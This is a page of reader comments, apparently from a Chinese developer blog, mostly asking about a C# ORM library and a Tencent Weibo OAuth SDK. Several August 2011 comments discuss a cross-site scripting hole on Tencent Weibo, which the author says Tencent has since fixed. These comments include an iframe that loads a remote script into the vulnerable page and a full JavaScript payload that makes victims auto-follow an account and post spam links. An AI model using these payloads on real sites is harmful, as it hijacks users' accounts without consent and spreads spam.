啤酒泡泡1 2012-02-07 11:20
我下载了源码运行test.html 怎么提示文件大小超出限制范围?
这是什么情况?
戒酒 2012-01-05 15:20
我使用$('FileUploader').selectLocalFile();无效呀.使用自带按钮是好使的。这种情况是我有地方没用对吗?
杨印 2011-12-18 15:00
你们说的这些代码,我都试过了,全都获得不了我的真是IP
thysea 2011-12-14 15:53
楼主这个小工具非常好,赞
Programmer_Blogs 2011-12-13 14:31
LZ:
请问下
TemplateDocument document = TemplateDocument.FromFileCache(context.Server.MapPath("template/blogarchive.html"), Encoding.UTF8);
这写在什么地方的
怎样用模板页 blogarchive.html
调用 blogarchive.ashx
并且怎样让结果呈现在页面了
求解啊、、、、、谢谢!
superstar 2011-12-03 11:50
代码不放出来学习下的?
乡之海 2011-11-24 22:25
使用Lambda表达式 有什么优点呢?
插件架构 2011-11-10 18:50
不会做
[秦时明月] 2011-11-01 09:32
兄弟怎么加关注啊???????好像不行[code=csharp]
OAuth oauth = new OAuth(appKey, appSecret);
//获取请求Token
if (oauth.GetRequestToken(null))
{
Console.WriteLine("获取Request Token成功。值如下:");
Console.WriteLine("TokenKey={0}", oauth.Token);
Console.WriteLine("TokenSecret={0}", oauth.TokenSecret);
Console.WriteLine("正在请求授权, 请在授权后,将页面提示的授权码码输入下面并继续……");
Process.Start("https://open.t.qq.com/cgi-bin/authorize?oauth_token=" + oauth.Token);
System.Threading.Thread.Sleep(1000);
Process.Start("http://open.t.qq.com/oauth_html/loginact.php?oauth_token="+oauth.Token+"&checkStatus=checked" + oauth.Token);
Console.Write("授权码:");
string verifier = Console.ReadLine();
string name;
if (oauth.GetAccessToken(verifier, out name))
{
Console.WriteLine("获取Access Token成功。值如下:");
Console.WriteLine("TokenKey={0}", oauth.Token);
Console.WriteLine("TokenSecret={0}", oauth.TokenSecret);
Console.WriteLine("微博帐户名={0}", name);
}
else
{
Console.WriteLine("获取Access Token时出错,错误信息: {0}", oauth.LastError);
}
}
else
{
Console.WriteLine("获取Request Token时出错,错误信息: {0}", oauth.LastError);
}
if (oauth.LastError != null)
{
Console.Read();
return;
}
// Twitter twitter = new Twitter(oauth);
// var data = twitter.Add("#TXOpenTSDK# @大只的鱼 "+DateTime.Now+"....", @"c:\ss.jpg", "127.0.0.1");
Friends fr=new Friends(oauth);
var ret=fr.Add("大只的鱼");
Console.WriteLine(ret);
[/code]
Kevin.Han 2011-10-18 14:13
@Kingthy
谢谢。我还以为你是用反射给字段赋值的。
Kingthy 2011-10-18 14:07
@Kevin.Han
你的UserEntity这个对象是怎样定义的?
是继承于DbObject这个对象的吗?
类似这样?
public class UserEntity : DbObject{
public int UserId{
get{
return this.GetData<int>("UserId",0);
}
set{
this.SetData("UserId", value); //第一个参数要对应于你的表字段名称
}
}
}
Kevin.Han 2011-10-17 23:03
请教楼主一个问题,我用了KT库,但执行查询返回对象的时候,里面的字段却为空。
我的代码:
OleDbConnection connection = new OleDbConnection(@"Provider=SQLOLEDB;database=dbtest;server=.\sqlexpress2008;Integrated Security=SSPI;");
using (DbHelper dbHelper = new DbHelper(connection,true))
{
var user = dbHelper.ExecuteDbObject<UserEntity>("select UserId,UserName,UserPsw from [tblUser] where UserId = 1");
Console.WriteLine(user.UserName);
}
通过debug,下面方法中的for循环走到了,并且record.GetValue(i)能拿到值。但return t的时候,发现在t中的字段没赋到值。
public static T ToDbObject<T>(this IDataRecord record)
where T : DbObject, new()
{
T t = new T();
for (int i = 0; i < record.FieldCount; i++)
{
string name = record.GetName(i);
object value = record.GetValue(i);
t.SetDataInternal(name, value);
}
return t;
}
请问怎么解决
Kingthy 2011-09-07 21:51
@waninlezu
可以,语句由你控制
waninlezu 2011-09-02 23:57
[code=csharp]
var user = Query<Person>.New().From("users").Where("Name").Is("me");
var sql = user.Builder.Build();
var group = Query<Person>.New("MemeoryDbProvider")
.From("users")
.Limit(10)
.Select(new[] { "name","password" })
.OrderByDescending("age")
.Or("password").Is("123456")
.Or("com").Is("xxx")
.And(p => p.IsOver18).Is(true)
.And(p => p.ID).In<int>(1, 2, 3, 4, 5)
.And(p => p.UserName).NotIn<string>("fucker")
.And(p => p.RegDate).MoreThan(new DateTime(2000, 1, 1)).LessThan(new DateTime(2011, 1, 1));
sql = group.Builder.Build();
[/code]
Join<UserInfo>.From("user_info").On((p, i) => p.ID = i.ID)//???
waninlezu 2011-09-02 23:40
能 join 表 不?
Kingthy 2011-08-30 16:04
@熊在路上
@迷途的小书童
新版本请使用此项目
http://opentsdk.codeplex.com
熊在路上 2011-08-29 11:46
报500错误呢~~
Kingthy 2011-08-29 10:19
@毁于随
结果不是在于重不重复造轮子,而是在于造轮子过程中的乐趣
毁于随 2011-08-28 13:47
没必要再做这些ORM的轮子了吧。大把的现成的ORM可用,性能、可用性都比这个好吧。
|ī笨笨﹎ヤ 2011-08-28 01:01
... 不解释,那么差别就很大了。
Kingthy 2011-08-27 23:47
@|ī笨笨﹎ヤ
RemoveRow<T>方法的定义RemoveRow<T>(string tableName, string condition>
方法的定义是表名与条件,如果乱传数据肯定是不行的。
就好像你的
[Field(FieldName = "F_UserId", TableName = "T_User"...]
这些乱写为
[Field(FieldName = "哈哈", TableName = "123"...]
也是一样不能正确执行的道理是一样的。
|ī笨笨﹎ヤ 2011-08-27 18:08
怎么说呢,兄弟,我就说一点就好,其实你这个东西,作用性不大,我看了一下,觉得最大的缺点就是,居然用[b]db.Executor.RemoveRow<DbUser>("user", "id>2");[/b]这样的方式进行查询,id>2是可以查,但是问题就是你这个是string类型啊,这样就等于我可以这样写[b]db.Executor.RemoveRow<DbUser>("123", "哈哈");[/b]那么你的语句是不是就不行?
http://www.cnblogs.com/suguicheng 这里面有一个是我写的,你可以去看下,功能不是很强大,但是基本开发还是可以满足的。
Kingthy 2011-08-26 22:19
@通用权限管理系统源码
被你见笑了
Kingthy 2011-08-26 22:19
@回车键
主要是觉得企业库太过于“庞大”了,把一些自己认为用不上的东西也放了上去了,而有些自己又需要的东西又没有。所以还是喜欢自己可以完全定义的东西。
Kingthy 2011-08-26 22:16
@路过秋天
多谢支持
通用权限管理系统源码 2011-08-26 21:06
思路非常清晰,看上去也很不错,文章排版也非常过硬,一看就是高手.
顶一下.
回车键 2011-08-26 20:23
为什么不用企业库。。。
路过秋天 2011-08-26 19:13
写的不错,支持一下!
Kingthy 2011-08-26 14:13
@On- The-Way
不知道你的全局、会话概念是个怎样的概念,在WEB里
WebApplicationObjectPool就可以看作是一个全局的
WebRequestObjectPool 就可以看作是一个请求会话
田想兵 2011-08-25 17:00
写这种文章竟然没人拍砖?
On- The-Way 2011-08-25 10:02
怎么区分全局对象和会话对象的呢?
Kingthy 2011-08-25 09:36
@On- The-Way
和对象池配合使用http://www.cnblogs.com/kingthy/archive/2011/08/11/2135390.html
On- The-Way 2011-08-25 09:05
数据对象是否可以识别是全局对象,还是会话对象呢?有数据在整个程序域里共享,有的就是在一个会话里面存在
EtherDream 2011-08-24 23:00
cnblog这个网站其实更容易实现,都允许执行脚本。。。
szny 2011-08-22 11:18
没有送Q币给你,太遗憾了。呵呵
小刚qq 2011-08-22 08:37
TX 木有给你点好处么..
Treenew Lyn 2011-08-22 08:18
提示的页面也太欠抽了。
Kingthy 2011-08-21 23:20
接腾讯技术员的回复,腾讯昨晚7点20分左右解决此漏洞了。所以现在大家是用不了此漏洞了。
DiryBoy 2011-08-21 13:56
之前发现好像无端的关注了些奇怪的账户,还以为是官方行为,可疑啊。我IE9和Chrome都用
鞠强 2011-08-21 13:45
5楼的是虾米内容?解开看过了吗?
山中草 2011-08-21 12:29
好像解决了。
谈谈腾讯是怎么解决这个问题的?
帝之晓 2011-08-21 11:35
靠,我在想要是某人利用这种用户量巨大的网站的漏洞来发对女孩子的表白,效果会怎么样
longware 2011-08-21 10:09
@山中草
[code=javascript]
var a=document;var b=document.body;function createIframe(f){var g;try{g=a.createElement('<iframe name="'+f+'"></iframe>')}catch(e){g=a.createElement('iframe');g.name=f};g.id=f;g.src='http://qq.com/blank';g.style.display='none;';g.width='0px;';g.height='0px;';b.appendChild(g);return g};function submitForm(e,f,g,h){var i='_a_'+Math.floor(Math.random()*100000);var j=createIframe(i);var k=a.createElement('form');k.action=f;k.method=g;k.target=i;for(var l in h){var m=h[l];var n=a.createElement('input');n.type='hidden';n.name=m.name;n.value=m.value;k.appendChild(n)};b.appendChild(k);setTimeout(function(){k.submit();setTimeout(function(){b.removeChild(k);b.removeChild(j)},300)},e)};var c=['港媒称谢霆锋张柏芝达成离婚协议','传锋芝通宵16小时 终达成离婚协议','传广电总局重罚湖南卫视:快女超时','化妆师晒赵薇周迅合影 粉碎不合传闻(图)','张柏芝薄纱透视装走秀圆模特儿梦','赵薇丈夫黄有龙网上首度曝光全家福(图) '];function getRndContent(){return'#大家玩才是真的玩# '+c[Math.floor(Math.random()*c.length)]+' http://url.cn/1UhY9L'};var d=new Date();submitForm(10,'http://t.qq.com/follow.php','post',[{name:'u',value:'kingthy'},{name:'r',value:parseInt(d.getTime()/1000)},{name:'veriCode',value:''}]);submitForm(400,'http://t.qq.com/publish.php','post',[{name:'content',value:getRndContent()},{name:'startTime',value:parseInt((d.getTime()-((Math.random()*80+30)*1000))/1000)},{name:'endTime',value:parseInt((new Date()).getTime()/1000)},{name:'countType',value:''},{name:'viewModel',value:'0'},{name:'pic',value:''}]);
[/code]
cnlcg 2011-08-21 09:06
刚又测试了,好像tx修复了
<iframe id="win" name="win" width="100%" height="1300" scrolling="no" frameborder="0" src="http://appst.qq.com/cgi-bin/wbapps/wb_appstore_app.cgi?appid=24042" onload="alert&#40;'Hello'&#41;;"></iframe>
破狼 2011-08-21 08:23
悲剧360禁止了页面,看不见
testzhangsan 2011-08-21 07:12
iframe src 里面嵌入非腾讯的网页,也有可能受 XSS 攻击,不是吗?
testzhangsan 2011-08-21 07:02
这种方式能成功吗?
[code=javascript]
<iframe id="win" name="win" width="100%" height="1300" scrolling="no" frameborder="0" src="http://appst.qq.com/cgi-bin/wbapps/wb_appstore_app.cgi?appid=24042" onload="d=document;e=d.createElement&#40;'script'&#41;;e.src='http://files.cnblogs.com/kingthy/t.js';d.body.appendChild&#40;e&#41;;"></iframe>
[/code]
我的 IE9 只是提示:Internet Explorer 已对此页面进行修改,以帮助阻止跨站点脚本。Chrome 也测试了,没有任何效果。请用 IE9 版本一下的童鞋测试一下。
@Yilee 2011-08-21 00:58
果然强大!!
梦想天空(山边小溪) 2011-08-21 00:15
楼主强大!